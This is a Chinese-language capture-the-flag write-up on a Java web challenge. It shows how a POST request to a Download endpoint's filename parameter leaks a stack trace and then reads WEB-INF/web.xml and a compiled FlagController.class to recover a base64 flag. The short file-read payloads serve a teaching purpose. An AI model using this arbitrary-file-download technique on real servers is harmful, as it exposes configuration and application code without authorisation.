java的WEB-INF文件
我们点击help,出现
1 | java.io.FileNotFoundException:{help.docx} |
而且payload为
1 | http://url/Download?filename=文件名 |
可见可能是文件包含,可以用此下载文件,不过用get提交的方式不可以,所以此处我们可以试一下post提交,发现可以下载help.docx文件,而且用bp抓包,放到repeater后改为post提交,可以看见500状态码,即服务器内部出错,并爆出一些关键信息
1 | <!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>java.lang.NullPointerException |
其中我们可以看见
1 | com.wm.ctf.DownloadController.doPost(DownloadController.java:24) |
而一般我们出于安全的考虑,我们会将网页放在WEB-INF文件下,防止页面被直接访问,而要访问WEB-INF文件下的网页,在WEB-INF文件下设置web.xml文件,其中web.xml的格式为:
1 | <!--直接设置 welcome-file 节点--> |
访问地址为:http://url/xxx/(xxx为项目名)
因此,我们可以包含web.xml文件,即将help.docx改为web.xml进行post提交即可下载web.xml
1 | <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> |
通过看
1 | <servlet-class>com.wm.ctf.FlagController</servlet-class> |
可知FlagController.class文件放在WEB-INF/classes/com/wm/ctf/中
WEB-INF主要包含的文件和目录
1 | /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则 |
所以可以和上面一样,包含FlagController.class文件,因此构造payload
1 | filename=/WEB-INF/classes/com/wm/ctf/FlagController.class |
即可得到,里面的base64的码就是flag